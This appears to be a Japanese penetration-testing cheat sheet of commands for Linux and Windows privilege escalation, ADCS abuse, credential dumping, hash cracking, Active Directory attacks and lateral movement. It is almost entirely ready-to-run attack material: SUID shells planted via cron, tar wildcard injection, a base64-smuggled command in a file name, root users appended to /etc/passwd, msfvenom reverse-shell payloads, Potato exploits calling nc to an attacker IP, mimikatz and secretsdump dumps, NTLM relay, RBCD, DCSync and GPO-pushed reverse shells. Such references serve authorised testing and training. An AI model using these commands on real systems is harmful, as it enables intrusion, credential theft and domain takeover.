# cronの確認
systemctl status cron
crontab -l
cat /etc/crontab /etc/anacrontab
ls -l /etc/cron.{d,daily,hourly,monthly,weekly}/*
# 書き込み可能なスクリプトを上書き
echo 'cp /bin/bash /tmp/bash_root; chmod +s /tmp/bash_root' >> /usr/bin/script.sh
# -p は必須(権限不一致を無視)
/tmp/bash_root -p
cron + tar(ワイルドカードインジェクション)
# Check
## cron: * * * * * root cd /data && tar -zcf /backup/backupdata.tar.gz *
## sudo: (ALL) NOPASSWD: /usr/bin/tar -czvf /tmp/backup.tar.gz *
# root Shell
touch -- '--checkpoint=1'
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" > shell.sh
touch -- '--checkpoint-action=exec=sh shell.sh'
sudo tar -czvf /tmp/backup.tar.gz *
/tmp/rootbash -p
cron + find(コマンド置換の悪用)
find /dev/shm -type f -exec sh -c 'rm {}' \; が root 実行される場合:
# Y2htb2QgK3MgL2Jpbi9iYXNoCg== = chmod +s /bin/bash
echo "" > /dev/shm/'$(echo Y2htb2QgK3MgL2Jpbi9iYXNoCg== | base64 -d | bash)'
cron + python
echo 'import os;os.system("chmod +s /usr/bin/bash")' > /var/www/html/booked/cleanup.py
doas + dstat
# 設定ファイルの探索
find / -type f -name "doas.conf" 2>/dev/null
# ファイルの確認
permit nopass player as root cmd /usr/bin/dstat
# Exploit
echo 'import os;os.system("chmod +s /usr/bin/dash")' > /usr/local/share/dstat/dstat_exploit.py
doas -u root /usr/bin/dstat --exploit
pkexec(SUID)
# terminal1 (PIDの取得)
echo $$
/usr/bin/pkexec "/bin/bash"
# terminal2
pkttyagent --process <PID>
Polkit / pkexec (CVE-2021-4034 / CVE-2021-3560)
dpkg -l policykit-1 ; pkexec --version
ls -l $(which pkexec)
# 単一ファイル版
wget https://raw.githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py
python3 ./CVE-2021-4034.py
# ビルド版(https://github.com/arthepsy/CVE-2021-4034)
gcc -o cve-2021-4034 cve-2021-4034.c
/etc/passwd・/etc/shadow 書き込み
# /etc/passwd へユーザー追加
openssl passwd w00t
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
# 出力を固定化する場合の例
openssl passwd -salt hack password
echo 'root2:<上記コマンドの出力>:0:0:root:/root:/bin/bash' >> /etc/passwd
# chmod が使える場合(/etc/shadow を編集)
## パスワード kali のハッシュ生成
mkpasswd -m sha-512 -S saltsalt -s
# root行のハッシュ部を置換し、su で昇格
sudo chmod u+s /bin/su; su root
NFS (no_root_squash)
# Kaliでrootとして実行
cp ./bash /<mountpoint>
chmod +x /<mountpoint>/bash; chmod +s /<mountpoint>/bash; chown root /<mountpoint>/bash
# 内部ユーザーで実行
./bash
disk グループ
# id に disk が含まれる場合
debugfs /dev/sda2
debugfs: cat /root/proof.txt
debugfs: cat /etc/shadow
# unshadow + john でクラック(→ 7.6 Responder / NTLM Relay)
.so
# reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<kaliIP> LPORT=80 -f elf-so -o utils.so
# chmod
# 以下のコードをコンパイルする
gcc -shared -o utils.so -fPIC utils.c
// This is utils.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
setuid(0);
setgid(0);
system("chmod +s /bin/bash");
}
6.2 Windows
# PowerUp 一括チェック
. .\PowerUp.ps1
Invoke-AllChecks
自動列挙は winPEAS(→ 5.6 自動列挙ツール (PEAS))。サービス・タスク列挙は 5.4 プロセス・サービス・タスク列挙。
リバースシェルしかない場合(昇格用シェル起動)
.\RunasCs.exe <userName> <password> rev.exe
Unquoted Service Path
C:\test\new folder\my app.exe は C:\test\new.exe → C:\test\new folder\my.exe の順に検索される(CreateProcess の仕様)。空白を含むパスが引用符なしなら悪用可能。
# 探索(cmdで実施)
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
# フォルダ権限確認・付与
icacls <path>
icacls <filePath> /grant <userName>:f /T
# 悪意ある実行ファイルを配置しサービス再起動
iwr -uri http://<listenIP>/adduser.exe -OutFile <savePath>
Start-Service GammaService
# PowerUp
. .\PowerUp.ps1
Get-UnquotedService
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
脆弱なサービス(DACL / ImagePath 書き換え)
誰でも編集権限を持つサービスを悪用。
# 脆弱なサービスの探索(accesschk)
accesschk.exe "<Everyone_or_username>" -kvuqsw HKLM\SYSTEM\CurrentControlSet\Services -accepteula
accesschk.exe "<Everyone or Username>" -cvuqw * -accepteula
# 詳細確認
sc qc <serviceName>
reg query HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>
# 検体作成(→ 3.1 ペイロード生成 (msfvenom))
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attackerIP> LPORT=<attackerPort> -f exe -o shell.exe
# binPath書き換え(sc config もしくは reg add)
sc config <serviceName> binpath="C:\Users\Public\shell.exe"
reg add HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName> /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Public\shell.exe" /f
# 再起動
sc stop <ServiceName> ; sc start <ServiceName>
# 新規サービス作成も可
sc create <serviceName> binpath="<programPath>"
AlwaysInstallElevated
# 両方が 0x1 であること
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 検体作成・実行
msfvenom -f msi -p windows/x64/shell_reverse_tcp LHOST=<attackerIP> LPORT=<attackerPort> > rev.msi
msiexec /quiet /qn /i C:\Users\Public\rev.msi
SeImpersonatePrivilege(Potato系)
whoami /priv で SeImpersonatePrivilege が Enabled の場合。
# GodPotato(汎用)
.\GodPotato.exe -cmd "cmd /c C:\Temp\nc.exe <attackerIP> <attackerPort> -e cmd.exe"
# JuicyPotato(Windows Server 2019未満)
potato.exe -t * -p c:\windows\system32\cmd.exe -a "/c c:\Users\Public\nc.exe -e cmd.exe <attackerIP> 4445" -l 9002 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
# PrintSpoofer(Spoolerサービス稼働時)
# RUNNINGならOK
sc.exe query spooler
ps | findstr spoolsv
.\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe <attackerIP> 4445 -e cmd"
# 直接昇格
.\PrintSpoofer64.exe -i -c cmd
# SigmaPotato
.\SigmaPotato.exe --revshell <attackerIP> <attackerPort>
SeManageVolumePrivilege
.\SeManageVolumeExploit.exe
# 任意DLL書き込みが可能になる。tzres.dll を System32\wbem に配置して systeminfo 実行でトリガ
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attackerIP> LPORT=<attackerPort> -f dll -o tzres.dll
SeBackupPrivilege
以下のリポジトリにあるツールを利用する。2つのDLLファイルをロード後に実行する。
SeBackupPrivilegeCmdLets.dllSeBackupPrivilegeUtils.dll
# Load
import-module .\SeBackupPrivilegeCmdLets.dll
import-module .\SeBackupPrivilegeUtils.dll
# read ntds.dit
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .
# dump registory
cmd /c "reg save HKLM\SAM SAM"
cmd /c "reg save HKLM\SYSTEM SYSTEM"
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
hashcat -m 1000 ntlm.hash /usr/share/wordlists/rockyou.txt
SeRestorePrivilege
ファイル/ディレクトリの ACL を無視して書き込み可能。
# Utilman.exe を cmd.exe に置換
cd C:\Windows\System32
ren Utilman.exe Utilman.old
ren cmd.exe Utilman.exe
# RDP接続後 Windows+U でSYSTEMシェル
# SAM/SYSTEM の取得 → 7.1 ローカルクレデンシャルダンプ (LSASS / SAM) でハッシュダンプ
reg save HKLM\SAM C:\temp\sam.bak
reg save HKLM\SYSTEM C:\temp\system.bak
xampp
# バージョン確認
type C:\xampp\properties.ini
GPO Abuse / RBCD
→ AD 関連の権限昇格として 8.2 委任の悪用 / 8.3 GPO Abuse に統合。
6.3 ADCS
# ------------------------------
# Certify.exe
# ------------------------------
# 列挙: Enrollment Rights に Domain Users がいて ENROLLEE_SUPPLIES_SUBJECT が有効なテンプレートを探す
.\Certify.exe find
# 例: Template UserAuthentication, msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
# 任意ユーザー(Administrator)として証明書を要求
.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:Administrator
# ------------------------------
# certipy-ad
# ------------------------------
# 列挙
certipy-ad find -u <userName>@<domainName> -p <password> -dc-ip <domainControllerIP> -stdout
# 脆弱な設定の列挙
certipy-ad find -u <userName>@<domainName> -p <password> -dc-ip <domainControllerIP> -stdout -vulnerable
ESC1
# 証明書をccacheに変換しTGT取得
cat administrator.kirbi | base64 -d > htbadmin.kirbi
gopacket-ticketconverter htbadmin.kirbi administrator.ccache
export KRB5CCNAME=$PWD/administrator.ccache
# /etc/krb5.conf を対象ドメインに合わせて設定(→ 9.3 Silver / Golden Ticket にサンプル)
impacket-secretsdump -k -no-pass administrator@dc.sequel.htb -just-dc-ntlm
ESC7
ADCSのCA(認証局)自体に対するアクセス権限を悪用する脆弱性です。
CAの管理権限そのもの(ManageCAやManageCertificates)を持つユーザーが、CAの動作を操作して不正な証明書を発行させる手法です。
- ManageCA(CA Administrator)
- CAの設定変更、テンプレートの有効化/無効化、officer(証明書マネージャ)の追加など
- ManageCertificates(Certificate Manager)
- 保留中/拒否された証明書発行リクエストの承認・発行
# Step1: ManageCertificatesの権限付与
certipy-ad ca -ca 'manager-DC01-CA' -add-officer <userName> -username <userName>@<donainName> -password <password> -dc-ip <domainControllerIP>
# Step2: SubCAテンプレートの有効化
certipy-ad ca -ca 'manager-DC01-CA' -enable-template SubCA -username <userName>@<donainName> -password <password> -dc-ip <domainControllerIP>
# Step3: AdministratorとしてSubCAテンプレートを用いてクライアント証明書を要求
## 秘密鍵は保存する
certipy-ad req -ca 'manager-DC01-CA' -template SubCA -upn administrator@<donainName> -username <userName>@<donainName> -password <password> -dc-ip <domainControllerIP>
# Step4: 強制的にリクエストを承認させる
certipy-ad ca -ca 'manager-DC01-CA' -issue-request <requestID> -username <userName>@<donainName> -password <password> -dc-ip <domainControllerIP>
# Step5: 発行された証明書を取得
certipy-ad req -ca 'manager-DC01-CA' -template SubCA -retrieve <requestID> -username <userName>@<donainName> -password <password> -dc-ip <domainControllerIP>
# Step6: 証明書による認証とNTハッシュダンプ
certipy-ad auth -pfx administrator.pfx -dc-ip <domainControllerIP>
7. 認証情報の奪取 (Credential Access)
7.1 ローカルクレデンシャルダンプ (LSASS / SAM)
# --- nxc(リモート、要管理者)---
# LSASS(Kerberosチケット・NTLMハッシュ)
nxc smb <targetIP> -u <user> -p '<pass>' -M lsassy --local-auth
# SAM(hashcat -m 1000)
nxc smb <targetIP> -u <user> -p '<pass>' --sam --local-auth
# --- impacket-secretsdump(リモート)---
impacket-secretsdump <domain>/<user>:"<pass>"@<targetIP>
# キャッシュドメインログオン($DCC2$ -> hashcat -m 2100)も取得される
# --- ローカルのSAM/SYSTEMファイルから ---
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
hashcat -m 1000 ntlm.hash /usr/share/wordlists/rockyou.txt
windows.old からの取得
C:\windows.old\Windows\System32または C:\windows.old\Windows\System32\configの SAM,SYSTEMを利用
# evil-winrm で取得
download SAM /home/kali/tmp/SAM
download SYSTEM /home/kali/tmp/SYSTEM
# ダンプ
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
hashcat -m 1000 ntlm.hash /usr/share/wordlists/rockyou.txt
Mimikatz / SafetyKatz
# --- Mimikatz ---
.\mimikatz.exe "token::elevate" "lsadump::sam" "exit"
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# DCSync(→ 8.4 DCSync)
.\mimikatz.exe "lsadump::dcsync /user:<domain\TargetUser>" "exit"
# --- SafetyKatz ---
.\SafetyKatz.exe "sekurlsa::evasive-keys" "exit"
.\SafetyKatz.exe "sekurlsa::logonpasswords" "exit"
.\SafetyKatz.exe "lsadump::evasive-lsa /patch" "exit"
.\SafetyKatz.exe "token::elevate" "vault::cred /patch" "exit"
7.2 ntds.dit
解析には SYSTEM レジストリファイルが必要。
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
impacket-secretsdump -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL
# NTハッシュのみ抽出してクラック
cut -d ":" -f 4 hashes.txt > nt_only.txt
hashcat -m 1000 nt_only.txt /usr/share/wordlists/rockyou.txt
7.3 SSH秘密鍵
# パスフレーズ有無チェック
ssh-keygen -y -f id_rsa
# ハッシュ取得
ssh2john id_rsa > priv.hash
john --wordlist=/usr/share/wordlists/rockyou.txt priv.hash
# パスフレーズなし版を再生成
ssh-keygen -p -f id_rsa
7.4 Windows資格情報
# 保存されたPuTTYセッション
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
# 資格情報マネージャ
cmdkey /list
runas /savecred /user:<UserName> cmd.exe
Import-Module .\Invoke-WCMDump.ps1; Invoke-WCMDump
# グループポリシー設定 (GPP)
gpp-decrypt -c "encrypted_password"
gpp-decrypt -f Groups.xml
7.5 ユーザーレベルのクレデンシャルダンプ
. .\Invoke-mimikittenz.ps1
# Basic invocation - scans all accessible processes
Invoke-mimikittenz
# Target specific processes by name
Invoke-mimikittenz -ProcessName "chrome","firefox","slack"
# Add custom regex patterns for proprietary systems
$customPatterns = @(
@{Name="Internal API"; Pattern="api_key=[a-zA-Z0-9]{32}"}
@{Name="Database Connection"; Pattern="mongodb://[^\s]+"}
)
Invoke-mimikittenz -CustomPatterns $customPatterns
7.6 Responder / NTLM Relay
# --- Responder(ハッシュ取得)---
sudo responder -I tun0
# victim側: dir \\<listenIP>
# クラック: hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --force
# --- NTLM Relay(リレー先でコマンド実行)---
impacket-ntlmrelayx --no-http-server -smb2support -t <targetIP> -c "powershell -enc <base64>"
rlwrap nc -nvlp 8080
# victimにkaliへアクセスさせる: dir \\<listenIP>\test
SSRF / SQLi / MSSQL からの強制認証は 1.2 サービス別列挙 / 2.3 Webアプリ攻撃 を参照。
7.7 パスワードクラック
ハッシュタイプ特定
hashid <hash>
hash-identifier <hash>
- モード対応表: example_hashes (hashcat wiki)
hashcat
# ルールの基礎
## 1で始まる行を削除
sed -i '/^1/d' passwords.txt
# 末尾に1を付与するルール
echo \$1 > demo.rule
hashcat -r demo.rule --stdout passwords.txt
# ルールのテスト(大文字化)
echo "password" | hashcat --stdout -j 'u'
# Crack(推奨オプション: -D 1(CPU) -O(カーネル最適化) -w 3(ワークロード))
## AS-REP
sudo hashcat -m 18200 <hash> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule --force -D 1 -O -w 3
## Kerberoast
sudo hashcat -m 13100 <hash> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule --force -D 1 -O -w 3
## NTLM
sudo hashcat -m 1000 <hash> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule --force -D 1 -O -w 3
主要モード一覧
| モード | 種別 |
|---|---|
| 1000 | NTLM |
| 1800 | sha512crypt ($6$, Linux) |
| 2100 | Domain Cached Credentials 2 ($DCC2$) |
| 5600 | NetNTLMv2-SSP (Responder) |
| 13100 | Kerberoast (TGS-REP) |
| 18200 | AS-REP Roasting |
John the Ripper
# キャッシュ削除
rm ~/.john/john.pot
# NTLM
john --format=NT <hashFile>
john --wordlist=/usr/share/wordlists/rockyou.txt <hashFile>
# カスタムルール(/etc/john/john.conf 末尾に追記)
[List.Rules:sshRules]
c $1 $3 $7 $!
john --wordlist=ssh.passwords --rules=sshRules ssh.hash
# zip
zip2john <filePath> > <hashFile>
john --wordlist=<wordFile> <hashFile>
# Linuxシャドウ
unshadow passwd.txt shadow.txt > passwords.txt
john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt
# OfficeFile
office2john sample.xlsx > officehash.txt
# KeePass
keepass2john sample.kdbx > keepass_hash.txt
hashcat -m 13400 keepass_hash.txt /usr/share/wordlists/rockyou.txt
# KeyChain
keychain2john example.keychain-db > key.hash
john key.hash --wordlist=/usr/share/wordlists/rockyou.txt
python -m chainbreaker ../example.keychain-db --password <crackedPassword> --dump-all
password → NTLM ハッシュ生成
python3 -c "import hashlib; print(hashlib.new('md4', '<password>'.encode('utf-16-le')).hexdigest())"
8. Active Directory 攻撃
列挙(SPN・委任・ACL)は 5.5 AD列挙 (PowerView / BloodHound)。Linux からの SMB/LDAP/Kerberos 列挙は 1.2 サービス別列挙。
8.0 Summary / AD チートシート
- LDAPでユーザー名(sAMAccountName)を列挙しAS-REP Roastingでうまくいかなかった場合は、ユーザー名とパスワードが同一であることを想定しnxc smbでトライする
- 人名を用いたパスワードリスト作成は
username-anarchyを利用する -
Documents,Downloadsをしっかり確認する
# =============================================
# Enum from Outside
# =============================================
# ----------------
# SMB
# ----------------
sudo nmap -p <targetPort> --script smb-enum-* <targetIP>
sudo nmap -p 445 --script smb-vuln-* <targetIP>
enum4linux-ng -A <targetIP>
nxc smb <targetIP> --users --shares --loggedon-users --continue-on-success
# kerberos認証でのSMB接続
impacket-smbclient <domainName>/<userName>:<password>@<domainControllerFQDN> -k
smbclient -U '<domainName>/<userName>%<password>' --realm=<domainName> //<targetFQDN>/path
# ユーザー列挙
## Kerberos認証
nxc smb <targetIP> -u <userName> -p <password> -k --rid-brute
## 匿名
nxc smb <targetIP> -u 'a' -p '' --rid-brute
# ----------------
# LDAP
# ----------------
ldapsearch -x -H ldap://<targetIP> -s base
ldapsearch -x -H ldap://<targetIP> -b "dc=***,dc=***" -s sub "(objectClass=user)"
ldapsearch -x -H ldap://<targetIP> -b "dc=***,dc=***" -s sub "(objectClass=user)" | grep -E "Pwd|assw|Passw"
ldapsearch -x -H ldap://<targetIP> -D "<domainName>\<userName>" -w "<password>" -b "dc=***,dc=***" -s sub "(objectClass=user)"
./kerbrute_linux_amd64 userenum --dc <domainControllerIP> -d <dmain> <userNameList>
nxc ldap <targetIP> -u <userName> -p <password> --users
# ldap情報のダンプ
ldapdomaindump ldap://<targetIP> -u <userName> -p <password>
# ----------------
# Kerberos
# ----------------
# ファイル作成
netexec smb <domainControllerIP> --generate-krb5-file krb5.conf
# AS-REP Roasting -> hashcat/-m 18200
## ドメイン名末尾の/は必須
impacket-GetNPUsers <domainFQDN>/ -dc-ip <domainControllerIP> -no-pass -usersfile <userList> -format hashcat
impacket-GetNPUsers -dc-ip <domainControllerIP> -request <domain/userName>
# Kerberoasting -> hashcat/-m 13100
impacket-GetUserSPNs -dc-ip <domainControllerIP> -request <domain/username:password>
# password to NTLM
python3 -c "import hashlib; print(hashlib.new('md4', '<password>'.encode('utf-16-le')).hexdigest())"
# =============================================
# AD操作
# =============================================
bloodyAD --host <domainControllerIP> --domain <domainName> --username <userName> --password :70016778cb0524c799ac25b439bd6a31 set password john.doe 'Password123!'
# =============================================
# 接続試験
# =============================================
nxc smb <IP> -u username -p 'password'
nxc winrm <IP> -u username -p 'password'
nxc rdp <IP> -u username -p 'password'
nxc ssh <IP> -u username -p 'password'
# =============================================
# Privilege Escalation
# =============================================
# PrintSpoofer
## req: SeImpersonatePrivilege, spoolsv
whoami /priv
ps | findstr spoolsv
## Exploit
.\PrintSpoofer64.exe -c "nc.exe <attackerIP> <attackerPort> -e cmd"
net localgroup Administrators /add <userName>
# リバースシェルしかない場合
.\RunasCs.exe <userName> <password> rev.exe
# ファイルの権限
icacls C:\Users\
# check ACL
Get-ADUser <userName> -Properties *| select msds-allowedtodelegateto
impacket-printerbug <userName>:<password>@<domainControllerIP> <targetIP>
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass Administrator@<domainControllerIP>
# ファイル持ち出し
## Kali
impacket-smbserver share . -username user -password password -smb2support
## victim
net use z: \\<attackerIP>\share /user:user password
copy <file> z:\
# =============================================
# Credential Dump
# =============================================
# nxcでは`--local-auth`オプションも使用してチェックすること
# Credential Dump https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-lsass
## LSASS
nxc smb <targetIP> -u '' -p '' -M lsassy --local-auth
## SAM -> hashcat: -m 1000
nxc smb <targetIP> -u '' -p '' --sam --local-auth
## DCSync
impacket-secretsdump <domainFQDN>/<userName>:'password'@<targetIP>
# =============================================
# ファイルアップロード/ダウンロード
# =============================================
# evil-winrm
upload <sourceFilePath> <destinationFilePath>
download <sourceFilePath> <destinationFilePath>
# powershell
## .NET APIによる実行
(New-Object Net.WebClient).DownloadFile('http://127.0.0.1:8080/<File>', '<Dest Path>')
## PowerShellコマンドレットによる実行
iwr http://172.16.100.24/Loader.exe -OutFile C:\Users\Public\Loader.exe
# Download and execute
## .NET APIによる実行
iex ((New-Object Net.WebClient).DownloadString('http://127.0.0.1:8080/PowerView.ps1'))
# =============================================
# Enum from inside
# =============================================
# 現在のユーザー・権限・グループ
whoami /all
hostname
# OS, ドメイン参加状況, パッチ状況
systeminfo
# ドメイン名(WORKGROUPならスタンドアロン)
echo %USERDOMAIN%
# AD参加確認
net config workstation
# ---------------------------------------------
# スタンドアロン
# ---------------------------------------------
net user
net localgroup administrators
# AlwaysInstallElevated, 脆弱なサービス, 未パッチ等を確認
winpeas.exe
findstr /SIM /C:"pass" *.xml *.ini *.cfg *.txt
cmdkey /list
sc qc
# ---------------------------------------------
# AD Joined
# ---------------------------------------------
net user /domain
net group /domain
net group "Domain Admins" /domain
.\SharpHound.exe -c All
# Kaliからbloodhound
bloodhound-python -u <userName> -p <password> -ns <targetIP> -d <domain> -c all --zip
# --- PowerView ---
# グループにAddSelfできるものを表示
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "Self" -and $_.ObjectType -eq "member"}
# ACL列挙
Find-InterestingDomainACL -ResolveGUIDs | Select-Object -Property ObjectDN,AceType,ActiveDirectoryRights,IdentityReferenceName | Format-List
# Kerberoasting / SPN設定済みアカウント
Get-NetUser -SPN -Domain <domainName>
.\Rubeus.exe kerberoast /user:<targetUserName> /simple /rc4opsec /outfile:.\hashes.txt
## PowerShell
Get-ADUser -Filter {SamAccountName -eq "<userName>"} -Properties ServicePrincipalNames
# AS-REP Roasting / 事前認証無効アカウント
Get-DomainUser -PreauthNotRequired -Domain <domain name> | Select-Object -Property userprincipalname, useraccountcontrol | Format-List
.\Rubeus.exe /user:<targetUserName> /outfile:.\hash.txt
# リソースベースの制約付き委任が可能なACLを探索
Find-InterestingDomainACL -ResolveGUIDs | Select-Object -Property ObjectDN,AceType,ActiveDirectoryRights,IdentityReferenceName | Format-List
# 制約付き委任が有効になっているものを探索
## ユーザーアカウント
Get-DomainUser -TrustedToAuth | Select-Object -Property samaccounttype,userprincipalname,msds-allowedtodelegateto,useraccountcontrol | Format-List
## コンピュータアカウント
Get-DomainComputer -TrustedToAuth | Select-Object -Property samaccounttype, samaccountname,msds-allowedtodelegateto,useraccountcontrol | Format-List
# 制約のない委任が有効になっているものを探索
Get-DomainComputer -Unconstrained | select -ExpandProperty name
# DCSync / Replication権限
Get-ObjectAcl -DistinguishedName "DC=***,DC=***" -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "DS-Replication-Get-Changes" }
8.1 Kerberos攻撃
AS-REP Roasting vs Kerberoasting
| 項目 | AS-REP Roasting | Kerberoasting |
|---|---|---|
| 対象 | ユーザーアカウント | サービスアカウント(SPN) |
| 必要な認証 | 不要(未認証でも可) | 必要(ドメインユーザーとして) |
| pre-auth | 不要な設定が必須 | 常に必要(通常フロー内) |
| 取得対象 | AS-REP | TGS(サービスチケット) |
| hashcat | -m 18200 | -m 13100 |
AS-REP Roasting
列挙済みユーザー名からユーザーリストを作成するには下記を使うと網羅性が向上する
# username-anarchy
./username-anarchy -i users.txt > users2.txt
# Linux(Impacket)— ドメイン名末尾の / は必須
# LDAP等からアカウントを列挙してから実施
impacket-GetNPUsers <domainFQDN>/ -dc-ip <domainControllerIP> -no-pass -usersfile <userList> -format hashcat
impacket-GetNPUsers -dc-ip <domainControllerIP> -request <domain/userName>
# Windows(Rubeus)
.\Rubeus.exe asreproast /user:<targetUserName> /outfile:.\hash.txt
Kerberoasting
# Linux(Impacket)
impacket-GetUserSPNs -dc-ip <domainControllerIP> -request <domain/username:password>
# Windows(Rubeus)
.\Rubeus.exe kerberoast /user:<targetUserName> /simple /rc4opsec /outfile:.\hashes.txt
取得ハッシュのクラックは 7.6 Responder / NTLM Relay。
DCSync
- BloodHoundで見た際、下記の状態であれば実行可能
- ドメインに対して
GetChanges権限を有している
- ドメインに対して
# すべてのクレデンシャルをダンプ
impacket-secretsdump '<domainFQDN>/<userName>:<password>'@<domainControllerIP>
# Administratorユーザーに絞ったダンプ
impacket-secretsdump '<domainFQDN>/<userName>:<password>'@<domainControllerIP> -just-dc-user Administrator
8.2 委任の悪用
RBCD(リソースベース制約付き委任)
対象に対する GenericAll/WriteProperty がある場合(→ 5.5 AD列挙 (PowerView / BloodHound) で列挙)。
# --------------------------------------------------------------------
# 権限を有しているターゲットがDCのコンピュータアカウントの場合
# --------------------------------------------------------------------
# コンピュータアカウントのパスワード変更
Set-LocalUser -Name '<targetComputerName>$' -Password (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
# DCSyncによるクレデンシャルダンプ
impacket-secretdump 'support.htb/DC$:NewPass123!'@10.10.11.174 -just-dc-user Administrator
# --------------------------------------------------------------------
# 上記以外の場合
# --------------------------------------------------------------------
# 1. SPNを有するコンピュータアカウントの作成
## 作成
import-module powermad
New-MachineAccount -MachineAccount <faceComputerName> -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
## チェック
Get-DomainComputer <faceComputerName>
# 2. 委任設定
## 委任を設定と確認(AD PowerShell Module版)
Set-ADComputer <targetComputer> -PrincipalsAllowedToDelegateToAccount <faceComputerName$>
Get-ADComputer <targetComputer> -Properties PrincipalsAllowedToDelegateToAccount
## 委任を設定と確認(PowerView版)
$ComputerSid = Get-DomainComputer <faceComputerName> -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer <targetComputer> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
## 確認
Get-DomainComputer <targetComputer> -Properties 'msds-allowedtoactonbehalfofotheridentity'
# DCSyncによるクレデンシャルダンプ
impacket-secretdump '<domain>/<faceComuterName$>:<password>'@<dcIP> -just-dc-user <targetUserName>
---
# 1. SPNを有するコンピュータアカウントの作成
impacket-addcomputer -computer-name 'ATTACKER$' -computer-pass 'Password123!' -dc-ip <dcIP> <domainFQDN>/<accountName>:<password>
# 2. 委任設定と確認
impacket-rbcd -delegate-from 'ATTACKER$' -delegate-to 'targetComputerName$' -action write -dc-ip <dcIP> <domainFQDN>/<userName>:<password>
impacket-rbcd -delegate-from 'ATTACKER$' -delegate-to 'targetComputerName$' -action read -dc-ip <dcIP> <domainFQDN>/<userName>:<password>
# 3. S4U2Self, S4U2Proxyによるサービスチケット要求
impacket-getST -spn 'cifs/<targetComputerNameFQDN>' -impersonate 'Administrator' -dc-ip <dcIP> '<domainFQDN>/ATTACKER$:Password123!'
# 4. チケット利用
export KRB5CCNAME=$(realpath ./Administrator.ccache)
# 5. 権限での操作
## ハッシュダンプ
impacket-secretsdump -k -no-pass <dcFQDN>
## シェル接続
impacket-psexec -k -no-pass <targetIP>
impacket-wmiexec -k -no-pass <targetIP>
8.3 GPO Abuse
GPO に書き込み権限があれば任意のコードを配布・実行できる。
# 権限列挙(→ 5.5 AD列挙 (PowerView / BloodHound))で GPO への WriteProperty/WriteDacl を確認
Find-InterestingDomainACL -ResolveGUIDs | Select-Object ObjectDN,AceType,ActiveDirectoryRights,IdentityReferenceName | Format-List
# 悪意あるタスクを追加し配布
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "Administrator" --Command "cmd.exe" --Arguments "/c c:\Users\Documents\nc.exe <attackerIP> 4444 -e cmd.exe" --GPOName "Default Domain Policy" --Force
gpupdate /force
8.4 DCSync
DS-Replication-Get-Changes 権限を持つアカウントで実行(→ 5.5 AD列挙 (PowerView / BloodHound) で確認)。
# Linux
impacket-secretsdump <domain>/<userName>:"<password>"@<targetIP>
impacket-secretsdump -just-dc-user <domain>/<userName>:"<password>"@<targetIP>
# Windows
.\mimikatz.exe "lsadump::dcsync /user:<domain\TargetUser>" "exit"
8.5 Privilege Escalation
# ReadLAPSPassword
. .\PowerView.ps1
Get-ADComputer -Identity dc01 -property 'ms-mcs-admpwd'
9. 横展開 (Lateral Movement)
impacket-psexec は SYSTEM 権限を取れるが遅く不安定なことがある。impacket-wmiexec の方が安定かつ応答が良い。
9.1 認証方式別の接続
# --- 接続前チェック(全方式を試す) ---
nxc smb targets.txt -d <domain> -u <user> -p <pass> --continue-on-success
nxc winrm targets.txt -d <domain> -u <user> -p <pass> --continue-on-success
nxc rdp targets.txt -d <domain> -u <user> -p <pass> --continue-on-success
# --- SMB / WMI ---
impacket-psexec '<domain>/<user>:<pass>@<targetIP>'
impacket-psexec -hashes :<ntlmHash> '<domain>/<user>@<targetIP>'
PsExec64.exe -i \\<target> -u <domain\user> -p <pass> cmd
